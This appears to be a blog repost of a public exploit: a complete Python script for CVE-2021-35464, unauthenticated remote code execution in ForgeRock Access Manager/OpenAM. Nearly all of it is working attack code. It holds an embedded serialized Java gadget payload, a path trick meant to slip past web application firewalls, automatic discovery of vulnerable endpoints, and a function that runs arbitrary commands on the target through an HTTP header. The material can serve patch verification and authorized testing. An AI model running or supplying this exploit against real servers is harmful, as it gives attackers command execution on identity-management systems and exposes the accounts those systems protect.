Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86381222

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: ForgeRock Access Manager/OpenAM 14.6.3 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 2021-07-14
# Exploit Author: Photubias – tijl[dot]deneut[at]Howest[dot]be for www.ic4.be
# Vendor Advisory: [1] https://backstage.forgerock.com/knowledge/kb/article/a47894244
# Vendor Homepage: https://github.com/OpenIdentityPlatform/OpenAM/
# Version: [1] OpenAM 14.6.3
#          [2] Forgerock 6.0.0.x and all versions of 6.5, up to and including 6.5.3, and is fixed as of version AM 7 released on June 29, 2021
# Tested on: OpenAM 14.6.3 and Tomcat/8.5.68 with JDK-8u292 on Debian 10
# CVE: CVE-2021-35464

#!/usr/bin/env python3

'''  
	Copyright 2021 Photubias(c)

        This program is free software: you can redistribute it and/or modify
        it under the terms of the GNU General Public License as published by
        the Free Software Foundation, either version 3 of the License, or
        (at your option) any later version.

        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.

        You should have received a copy of the GNU General Public License
        along with this program.  If not, see <http://www.gnu.org/licenses/>.
        
        File name CVE-2021-35464.py
        written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be

        This is a native implementation without requirements, written in Python 3.
        Works equally well on Windows as Linux (as MacOS, probably ;-)
        
        Rewritten from and full credits to @Y4er_ChaBug:
        https://github.com/Y4er/openam-CVE-2021-35464
        and of course the discoverer @artsploit:
        https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
        Created using https://github.com/frohoff/ysoserial
'''

import urllib.request, urllib.parse, ssl, sys, optparse

## Static vars; change at will, but recommend leaving as is
sURL = 'http://192.168.0.100:7080/openam'
sEndpoint = 'ccversion/Version'
sEndpoint = 'oauth2/..;/ccversion/Version' ## This bypasses potential WAFs
iTimeout = 5
strSerializedPayload = b'AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0-z-CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db21wYXJhdG9yO3hwAAAAAnNyADBvcmcuYXBhY2hlLmNsaWNrLmNvbnRyb2wuQ29sdW1uJENvbHVtbkNvbXBhcmF0b3IAAAAAAAAAAQIAAkkADWFzY2VuZGluZ1NvcnRMAAZjb2x1bW50ACFMb3JnL2FwYWNoZS9jbGljay9jb250cm9sL0NvbHVtbjt4cAAAAAFzcgAfb3JnLmFwYWNoZS5jbGljay5jb250cm9sLkNvbHVtbgAAAAAAAAABAgATWgAIYXV0b2xpbmtaAAplc2NhcGVIdG1sSQAJbWF4TGVuZ3RoTAAKYXR0cmlidXRlc3QAD0xqYXZhL3V0aWwvTWFwO0wACmNvbXBhcmF0b3JxAH4AAUwACWRhdGFDbGFzc3QAEkxqYXZhL2xhbmcvU3RyaW5nO0wACmRhdGFTdHlsZXNxAH4AB0wACWRlY29yYXRvcnQAJExvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvRGVjb3JhdG9yO0wABmZvcm1hdHEAfgAITAALaGVhZGVyQ2xhc3NxAH4ACEwADGhlYWRlclN0eWxlc3EAfgAHTAALaGVhZGVyVGl0bGVxAH4ACEwADW1lc3NhZ2VGb3JtYXR0ABlMamF2YS90ZXh0L01lc3NhZ2VGb3JtYXQ7TAAEbmFtZXEAfgAITAAIcmVuZGVySWR0ABNMamF2YS9sYW5nL0Jvb2xlYW47TAAIc29ydGFibGVxAH4AC0wABXRhYmxldAAgTG9yZy9hcGFjaGUvY2xpY2svY29udHJvbC9UYWJsZTtMAA10aXRsZVByb3BlcnR5cQB-AAhMAAV3aWR0aHEAfgAIeHAAAQAAAABwcHBwcHBwcHBwdAAQb3V0cHV0UHJvcGVydGllc3Bwc3IAHm9yZy5hcGFjaGUuY2xpY2suY29udHJvbC5UYWJsZQAAAAAAAAABAgAXSQAOYmFubmVyUG9zaXRpb25aAAlob3ZlclJvd3NaABdudWxsaWZ5Um93TGlzdE9uRGVzdHJveUkACnBhZ2VOdW1iZXJJAAhwYWdlU2l6ZUkAE3BhZ2luYXRvckF0dGFjaG1lbnRaAAhyZW5kZXJJZEkACHJvd0NvdW50WgAKc2hvd0Jhbm5lcloACHNvcnRhYmxlWgAGc29ydGVkWgAPc29ydGVkQXNjZW5kaW5nTAAHY2FwdGlvbnEAfgAITAAKY29sdW1uTGlzdHQAEExqYXZhL3V0aWwvTGlzdDtMAAdjb2x1bW5zcQB-AAdMAAtjb250cm9sTGlua3QAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvQWN0aW9uTGluaztMAAtjb250cm9sTGlzdHEAfgAQTAAMZGF0YVByb3ZpZGVydAAsTG9yZy9hcGFjaGUvY2xpY2svZGF0YXByb3ZpZGVyL0RhdGFQcm92aWRlcjtMAAZoZWlnaHRxAH4ACEwACXBhZ2luYXRvcnQAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvUmVuZGVyYWJsZTtMAAdyb3dMaXN0cQB-ABBMAAxzb3J0ZWRDb2x1bW5xAH4ACEwABXdpZHRocQB-AAh4cgAob3JnLmFwYWNoZS5jbGljay5jb250cm9sLkFic3RyYWN0Q29udHJvbAAAAAAAAAABAgAJTAAOYWN0aW9uTGlzdGVuZXJ0ACFMb3JnL2FwYWNoZS9jbGljay9BY3Rpb25MaXN0ZW5lcjtMAAphdHRyaWJ1dGVzcQB-AAdMAAliZWhhdmlvcnN0AA9MamF2YS91dGlsL1NldDtMAAxoZWFkRWxlbWVudHNxAH4AEEwACGxpc3RlbmVydAASTGphdmEvbGFuZy9PYmplY3Q7TAAObGlzdGVuZXJNZXRob2RxAH4ACEwABG5hbWVxAH4ACEwABnBhcmVudHEAfgAXTAAGc3R5bGVzcQB-AAd4cHBwcHBwcHBwcAAAAAIAAQAAAAAAAAAAAAAAAQAAAAAAAAAAAXBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhwcHBwcHBwcHBwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0_BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAITAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA_____3VyAANbW0JL_RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF_gGCFTgAgAAeHAAABRfyv66vgAAADQBBgoARgCKCgCLAIwKAIsAjQoAHQCOCAB7CgAbAI8KAJAAkQoAkACSBwB8CgCLAJMIAJQKACAAlQgAlggAlwcAmAgAmQgAWQcAmgoAGwCbCACcCABxBwCdCwAWAJ4LABYAnwgAaAgAoAcAoQoAGwCiBwCjCgCkAKUIAKYHAKcIAKgKACAAqQgAqgkAJQCrBwCsCgAlAK0IAK4KAK8AsAoAIACxCACyCACzCAC0CAC1CAC2BwC3BwC4CgAwALkKADAAugoAuwC8CgAvAL0IAL4KAC8AvwoALwDACgAgAMEIAMIKABsAwwoAGwDECADFBwBlCgAbAMYIAMcHAMgIAMkIAMoHAMsKAEMAzAcAzQcAzgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy9Ub21jYXRFY2hvSW5qZWN0OwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwDPAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAA2NscwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAEdmFyNQEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQACW0IBAAlwcm9jZXNzb3IBABJMamF2YS9sYW5nL09iamVjdDsBAANyZXEBAARyZXNwAQABagEAAUkBAAF0AQASTGphdmEvbGFuZy9UaHJlYWQ7AQADc3RyAQASTGphdmEvbGFuZy9TdHJpbmc7AQADb2JqAQAKcHJvY2Vzc29ycwEAEExqYXZhL3V0aWwvTGlzdDsBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAFpAQAEZmxhZwEAAVoBAAVncm91cAEAF0xqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQABZgEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAd0aHJlYWRzAQATW0xqYXZhL2xhbmcvVGhyZWFkOwEADVN0YWNrTWFwVGFibGUHANAHANEHANIHAKcHAKMHAJoHAJ0HAGMHAMgHAMsBAApTb3VyY2VGaWxlAQAVVG9tY2F0RWNob0luamVjdC5qYXZhDABHAEgHANIMANMA1AwA1QDWDADXANgMANkA2gcA0QwA2wDcDADdAN4MAN8A4AEABGV4ZWMMAOEA4gEABGh0dHABAAZ0YXJnZXQBABJqYXZhL2xhbmcvUnVubmFibGUBAAZ0aGlzJDABAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MAOMA2AEABmdsb2JhbAEADmphdmEvdXRpbC9MaXN0DADkAOUMAN0A5gEAC2dldFJlc3BvbnNlAQAPamF2YS9sYW5nL0NsYXNzDADnAOgBABBqYXZhL2xhbmcvT2JqZWN0BwDpDADqAOsBAAlnZXRIZWFkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQADY21kDADsAO0BAAlzZXRTdGF0dXMMAO4AXwEAEWphdmEvbGFuZy9JbnRlZ2VyDABHAO8BAAdvcy5uYW1lBwDwDADxAPIMAPMA4AEABndpbmRvdwEAB2NtZC5leGUBAAIvYwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyDABHAPQMAPUA9gcA9wwA-AD5DABHAPoBAAJcQQwA-wD8DAD9AOAMAP4A_wEAJG9yZy5hcGFjaGUudG9tY2F0LnV0aWwuYnVmLkJ5dGVDaHVuawwBAAEBDAECAQMBAAhzZXRCeXRlcwwBBADoAQAHZG9Xcml0ZQEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BABNqYXZhLm5pby5CeXRlQnVmZmVyAQAEd3JhcAEAE2phdmEvbGFuZy9FeGNlcHRpb24MAQUASAEAI3lzb3NlcmlhbC9wYXlsb2Fkcy9Ub21jYXRFY2hvSW5qZWN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAFWphdmEvbGFuZy9UaHJlYWRHcm91cAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEADmdldFRocmVhZEdyb3VwAQAZKClMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAA1nZXRTdXBlcmNsYXNzAQAEc2l6ZQEAAygpSQEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAdpc0VtcHR5AQADKClaAQAEVFlQRQEABChJKVYBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvTG93ZXJDYXNlAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEACGdldEJ5dGVzAQAEKClbQgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEWdldERlY2xhcmVkTWV0aG9kAQAPcHJpbnRTdGFja1RyYWNlACEARQBGAAAAAAAEAAEARwBIAAEASQAAAC8AAQABAAAABSq3AAGxAAAAAgBKAAAABgABAAAAEQBLAAAADAABAAAABQBMAE0AAAABAE4ATwACAEkAAAA_AAAAAwAAAAGxAAAAAgBKAAAABgABAAAAYABLAAAAIAADAAAAAQBMAE0AAAAAAAEAUABRAAEAAAABAFIAUwACAFQAAAAEAAEAVQABAE4AVgACAEkAAABJAAAABAAAAAGxAAAAAgBKAAAABgABAAAAZgBLAAAAKgAEAAAAAQBMAE0AAAAAAAEAUABRAAEAAAABAFcAWAACAAAAAQBZAFoAAwBUAAAABAABAFUACABbAEgAAQBJAAAF7QAIABEAAAMDAzu4AAK2AANMAU0rtgAEEgW2AAZNLAS2AAcsK7YACMAACcAACU4DNgQVBC2-ogLNLRUEMjoFGQXHAAanArkZBbYACjoGGQYSC7YADJoADRkGEg22AAyaAAanApsZBbYABBIOtgAGTSwEtgAHLBkFtgAIOgcZB8EAD5oABqcCeBkHtgAEEhC2AAZNLAS2AAcsGQe2AAg6BxkHtgAEEhG2AAZNpwAWOggZB7YABLYAE7YAExIRtgAGTSwEtgAHLBkHtgAIOgcZB7YABLYAExIUtgAGTacAEDoIGQe2AAQSFLYABk0sBLYABywZB7YACDoHGQe2AAQSFbYABk0sBLYABywZB7YACMAAFsAAFjoIAzYJFQkZCLkAFwEAogHLGQgVCbkAGAIAOgoZCrYABBIZtgAGTSwEtgAHLBkKtgAIOgsZC7YABBIaA70AG7YAHBkLA70AHbYAHjoMGQu2AAQSHwS9ABtZAxIgU7YAHBkLBL0AHVkDEiFTtgAewAAgOgYZBsYBVxkGtgAimgFPGQy2AAQSIwS9ABtZA7IAJFO2ABwZDAS9AB1ZA7sAJVkRAMi3ACZTtgAeVxInuAAotgApEiq2AAyZABkGvQAgWQMSK1NZBBIsU1kFGQZTpwAWBr0AIFkDEi1TWQQSLlNZBRkGUzoNuwAvWbsAMFkZDbcAMbYAMrYAM7cANBI1tgA2tgA3tgA4Og4SObgAOjoPGQ-2ADs6BxkPEjwGvQAbWQMSPVNZBLIAJFNZBbIAJFO2AD4ZBwa9AB1ZAxkOU1kEuwAlWQO3ACZTWQW7ACVZGQ6-twAmU7YAHlcZDLYABBI_BL0AG1kDGQ9TtgAcGQwEvQAdWQMZB1O2AB5XpwBOOg8SQbgAOjoQGRASQgS9ABtZAxI9U7YAPhkQBL0AHVkDGQ5TtgAeOgcZDLYABBI_BL0AG1kDGRBTtgAcGQwEvQAdWQMZB1O2AB5XBDsamQAGpwAJhAkBp_4vGpkABqcAEacACDoFpwADhAQBp_0ypwAISyq2AESxAAgAlwCiAKUAEgDFANMA1gASAhUCiAKLAEAAMAA7Au8AQwA-AFkC7wBDAFwAfALvAEMAfwLpAu8AQwAAAvoC_QBDAAMASgAAAQYAQQAAABUAAgAWAAkAFwALABgAFQAaABoAGwAmABwAMAAeADYAHwA-ACAARQAhAFwAIgBnACMAbAAkAHQAJQB_ACYAigAnAI8AKACXACoAogAtAKUAKwCnACwAuAAuAL0ALwDFADEA0wA0ANYAMgDYADMA4wA1AOgANgDwADcA-wA4AQAAOQEOADoBHQA7ASgAPAEzAD0BOAA-AUAAPwFZAEABfwBBAYwAQgG3AEMB8gBEAhUARgIcAEcCIwBIAmYASQKIAE4CiwBKAo0ASwKUAEwCtABNAtYATwLYAFEC3wA6AuUAUwLsAFYC7wBUAvEAVQL0ABwC-gBaAv0AWAL-AFkDAgBbAEsAAADeABYApwARAFwAXQAIANgACwBcAF0ACAIcAGwAXgBfAA8ClABCAF4AXwAQAo0ASQBgAGEADwHyAOYAYgBjAA0CFQDDAGQAZQAOASgBtwBmAGcACgFAAZ8AaABnAAsBWQGGAGkAZwAMAREB1ABqAGsACQA2ArYAbABtAAUARQKnAG4AbwAGAHQCeABwAGcABwEOAd4AcQByAAgC8QADAFwAcwAFACkC0QB0AGsABAACAvgAdQB2AAAACQLxAHcAeAABAAsC7wB5AHoAAgAmAtQAewB8AAMC_gAEAFwAcwAAAH0AAACoABf_ACkABQEHAH4HAH8HAAkBAAD8ABQHAID8ABoHAIEC_AAiBwCCZQcAgxJdBwCDDP0ALQcAhAH-AMsHAIIHAIIHAIJSBwCF_wCaAA8BBwB-BwB_BwAJAQcAgAcAgQcAggcAhAEHAIIHAIIHAIIHAIUHAD0AAQcAhvsASvkAAfgABvoABf8ABgAFAQcAfgcAfwcACQEAAEIHAIcE_wAFAAAAAEIHAIcEAAEAiAAAAAIAiXVxAH4AJAAAAdjK_rq-AAAANAAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAAMwABAAEAAAAFKrcAAbEAAAACAA0AAAAKAAIAAACUAAQAlQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyABRqYXZhLm1hdGguQmlnSW50ZWdlcoz8nx-pO_sdAwAGSQAIYml0Q291bnRJAAliaXRMZW5ndGhJABNmaXJzdE5vbnplcm9CeXRlTnVtSQAMbG93ZXN0U2V0Qml0SQAGc2lnbnVtWwAJbWFnbml0dWRldAACW0J4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHD_______________7____-AAAAAXVxAH4AJAAAAAEBeHg$'

## Ignore unsigned certs, if any because OpenAM is default HTTP
ssl._create_default_https_context = ssl._create_unverified_context

def checkParams(options, args):
    if args: sHost = args[0]
    else:
        sHost = input('[?] Please enter the URL ['+sURL+'] : ')
        if sHost == '': sHost = sURL
    if not sHost[-1:] == '/': sHost += '/'
    if not sHost[:4].lower() == 'http': sHost = 'http://' + sHost
    if options.command: sCMD = options.command
    else: sCMD = ''
    if options.proxy: sProxy = options.proxy
    else: sProxy = ''
    return (sHost, sCMD, sProxy)

def findEndpoint(oOpener, sHost, sProxy):
    def testEndpoint(sURL):
        oRequest = urllib.request.Request(sURL)
        if sProxy: oRequest.set_proxy(sProxy, 'http')
        try: oResponse = oOpener.open(oRequest, timeout = iTimeout)
        except: return False
        if oResponse.code == 200:
            if 'ForgeRock' in oResponse.read().decode(errors='ignore'):
                print('[+] Found potential vulnerable endpoint: ' + sURL)
                return True
        return False
    
    if testEndpoint(sHost + sEndpoint): return sHost + sEndpoint
    elif testEndpoint(sHost + 'openam/' + sEndpoint): return sHost + 'openam/' + sEndpoint
    elif testEndpoint(sHost + 'OpenAM/' + sEndpoint): return sHost + 'OpenAM/' + sEndpoint
    elif testEndpoint(sHost + 'openam/ccversion/Version'): return sHost + 'openam/ccversion/Version'
    elif testEndpoint(sHost + 'OpenAM/ccversion/Version'): return sHost + 'OpenAM/ccversion/Version'
    else: return ''

def testVuln(oOpener, sURL, sProxy):
    oResponse = runCmd(oOpener, sURL, sProxy, 'echo CVE-2021-35464')
    ## The response is actually not well formed HTTP, needs manual formatting
    bResp = bytearray(15) ## "CVE-2021-35464\n" should be 15 bytes
    try: oResponse.readinto(bResp)
    except: pass
    #print(bResp.split(b'\x00')[0])
    if 'CVE-2021-35464' in bResp.decode(): return True
    else: return False

def runVuln(oOpener, sURL, sProxy, sCMD):
    oResponse = runCmd(oOpener, sURL, sProxy, sCMD)
    ## The response is actually not well formed HTTP, needs manual formatting
    bResp = bytearray(4096)
    try: oResponse.readinto(bResp)
    except: pass  ## The readinto still should have worked
    sResp = bResp.split(b'\x00')[0].decode()
    print(sResp)

def runCmd(oOpener, sURL, sProxy, sCMD):
    oData = b'jato.pageSession=' + strSerializedPayload
    oHeaders = {'cmd' : sCMD}
    oRequest = urllib.request.Request(url = sURL, headers = oHeaders, data = oData)
    if sProxy: oRequest.set_proxy(sProxy, 'http')
    return oOpener.open(oRequest, timeout = iTimeout)

def main():
    usage = (
        'usage: %prog [options] URL \n'
        'Example: CVE-2021-35464.py -c id http://192.168.0.100:7080/openam\n'
        'Example: CVE-2021-35464.py -c dir -p 127.0.0.1:8080 http://192.168.0.100:7080/openam\n'
        'When in doubt, just enter a single IP address'
        )

    parser = optparse.OptionParser(usage=usage)
    parser.add_option('--command', '-c', dest='command', help='Optional: The command to run remotely')
    parser.add_option('--proxy', '-p', dest='proxy', help='Optional: HTTP proxy to use, e.g. 127.0.0.1:8080')
    
    ## Get or ask for the vars
    (options, args) = parser.parse_args()
    (sHost, sCMD, sProxy) = checkParams(options, args)
    
    ## Verify reachability
    print('[!] Verifying reachability of ' + sHost)
    oOpener = urllib.request.build_opener()
    oRequest = urllib.request.Request(sHost)
    if sProxy: oRequest.set_proxy(sProxy, 'http')
    try: oResponse = oOpener.open(oRequest, timeout = iTimeout)
    except urllib.error.HTTPError: pass
    except: sys.exit('[-] Error, host ' + sHost + ' seems to be unreachable')
    print('[+] Endpoint ' + sHost + ' reachable')

    ## Find endpoint
    print('[!] Finding correct OpenAM endpoint')
    sEndpoint = findEndpoint(oOpener, sHost, sProxy)
    if sEndpoint == '': sys.exit('[-] Error finding the correct OpenAM endpoint or not vulnerable.')

    ## Verify vulnerability
    if testVuln(oOpener, sEndpoint, sProxy): print('[+] !SUCCESS! Host ' + sHost + ' is vulnerable to CVE-2021-35464')
    else: sys.exit('[-] Not vulnerable or this implementation does not work')
    if sCMD:
        print('[+] Running command "' + sCMD + '" now:\n')
        runVuln(oOpener, sEndpoint, sProxy, sCMD)
    else: print('[!] All done')

if __name__ == "__main__":
    main()